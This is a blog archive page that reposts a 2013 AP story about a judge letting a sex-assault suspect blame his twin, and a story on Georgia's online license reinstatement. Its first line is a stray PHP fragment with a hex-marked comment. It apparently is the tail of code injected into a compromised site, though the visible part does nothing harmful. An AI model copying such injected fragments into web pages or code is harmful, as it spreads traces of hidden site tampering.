if(empty($ydxk)) { $ydxk = " "; echo $ydxk; } #/3a64a9# ?>

Archive for November, 2013

Judge: Sex assault suspect allowed to blame twin

Courtesy of: http://www.usatoday.com/story/news/nation/2013/11/16/colo-sex-assault-twin/3615975/

jail

COLORADO SPRINGS, Colo. (AP) — A judge says an Army artillery officer linked by DNA to a string of sexual assaults on young girls will be allowed to blame his twin brother at trial for attacks in two states.

District Judge David Shakes ruled Friday it would be “inappropriate” to bar 1st Lt. Aaron Lucas’ attorneys from presenting his identical twin as an alternate suspect given the siblings’ shared DNA, according to the Colorado Springs Gazette (http://bit.ly/1agdX2C).

“Whether it’s persuasive or not — that’s not my role,” the judge said. “It’s the role of the jury.”

In criminal prosecutions, DNA is widely considered a smoking gun, but only in the absence of an identical twin.

Karen Steinhauser, a criminal defense attorney and adjunct law professor at the University of Denver, told The Associated Press such an argument is rare.

“I have never seen it, ever,” she said. “The only time I have seen it was on ‘Law and Order: SVU,'” the television show.

Steinhauser is not involved in the case.

In an Oct. 22 court filing, Lucas’ attorneys said investigators picked the wrong sibling after discovering a DNA link to an unsolved attack on a young girl in Madison, Ala., in 2007, and another in Texarkana, Texas, in 2009.

The Fort Carson, Colo., officer has denied luring or trying to lure 11 girls into his vehicle in Colorado between 2009 and 2012. His attorneys have said the Alabama and Texas cases involve his twin brother, Brian Frederick Lucas, who the defense says has lived in both states.

Brian Lucas, who has not been charged in any of the cases, could not be reached for comment Saturday but investigators have said he has denied involvement in the alleged crimes.

Aaron Lucas’ attorneys say an unidentified third man is responsible for the Colorado assaults.

Investigators say that a DNA test linked Aaron Lucas to the abduction of an 8-year-old girl in Colorado Springs and that he also matched biological material recovered in the Alabama and Texas cases. The Colorado judge has ruled that the out-of-state evidence will be allowed at trial.

Lucas is scheduled to appear in court Nov. 26. His attorneys did not return a message left by The Associated Press on Saturday.

 

DDS now offers license reinstatement online

courtesy http://www.ajc.com/news/news/dds-now-offers-license-reinstatement-online/nbqHP/

The Department of Driver Services is offering new online services that could save you a trip to the DMV.

Customers can check their driving reinstatement eligibility, view, print or email a list of their specific reinstatement requirements and pay fees, DDS Commissioner Rob Mikell said Tuesday.

“A high priority has been to improve the license reinstatement process which is the most time consuming transaction for our DDS team members and customers,” Mikell said in a release. “Not only will this online service save time for many who need to reinstate a license, but it should directly impact our service levels at all customer service centers.”

The DDS processes more than 200,000 license reinstatements per year, according to the release, and offering the process online should decrease wait times at service centers statewide.

In order to access the services, a customer must have a license that is suspended, revoked or canceled, have their Georgia’s driver’s license number and have or create a DDS online account.

To access the services, visit the DDS website atwww.dds.ga.gov.